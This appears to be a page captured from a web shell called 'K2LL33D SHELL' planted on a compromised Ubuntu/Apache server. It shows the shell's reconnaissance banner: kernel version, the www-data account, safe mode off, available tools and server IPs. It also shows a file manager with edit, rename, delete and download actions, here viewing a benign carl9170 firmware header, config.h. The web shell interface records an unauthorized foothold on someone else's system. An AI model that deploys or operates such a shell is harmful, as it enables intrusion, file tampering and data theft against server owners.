K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / lib / firmware / carl9170fw / carlfw / include /
server ip : 104.21.89.46

your ip : 172.69.17.17

H O M E


Filename/lib/firmware/carl9170fw/carlfw/include/config.h
Size2.15 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:50
Last modified05-Mar-2014 23:45
Last accessed07-Jul-2025 08:08
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/

#include "generated/autoconf.h"
#include "version.h"
#include "types.h"
#include "compiler.h"
#include "fwcmd.h"
#include "hw.h"

#ifndef __CARL9170FW_CONFIG_H
#define __CARL9170FW_CONFIG_H

#define GCC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)

#if GCC_VERSION < 40400
# error "This firmware will not work if it is compiled with gcc versions < 4.4"
# error "See: http://gcc.gnu.org/gcc-4.4/changes.html / Caveats No. 4"
#endif

#if ((defined CONFIG_CARL9170FW_PRINTF) && \
(!defined CONFIG_CARL9170FW_DEBUG_USB) && \
(!defined CONFIG_CARL9170FW_DEBUG_UART))
# warning "You have disabled all debug message transports."
# warning "However CONFIG_CARL9170FW_PRINTF is still set..."
# warning "Which is a waste of firmware space, if you ask me."
#endif

#define CARL9170_TX_STATUS_NUM (CARL9170_RSP_TX_STATUS_NUM)
#define CARL9170_INT_RQ_CACHES 16
#define AR9170_INT_MAGIC_HEADER_SIZE 12
#define CARL9170_TBTT_DELTA (CARL9170_PRETBTT_KUS + 1)

#define CARL9170_GPIO_MASK (AR9170_GPIO_PORT_WPS_BUTTON_PRESSED)

#ifdef CONFIG_CARL9170FW_VIFS_NUM
#define CARL9170_INTF_NUM (1 + CONFIG_CARL9170FW_VIFS_NUM)
#else
#define CARL9170_INTF_NUM (1)
#endif /* CONFIG_CARL9170FW_VIFS_NUM */

#define CONFIG_CARL9170FW_BACK_REQS_NUM 4

static inline void __config_check(void)
{
BUILD_BUG_ON(!CARL9170_TX_STATUS_NUM);
BUILD_BUG_ON(CARL9170_INTF_NUM < 1);
BUILD_BUG_ON(CARL9170_INTF_NUM >= AR9170_MAX_VIRTUAL_MAC);
}

#endif /* __CARL9170FW_CONFIG_H */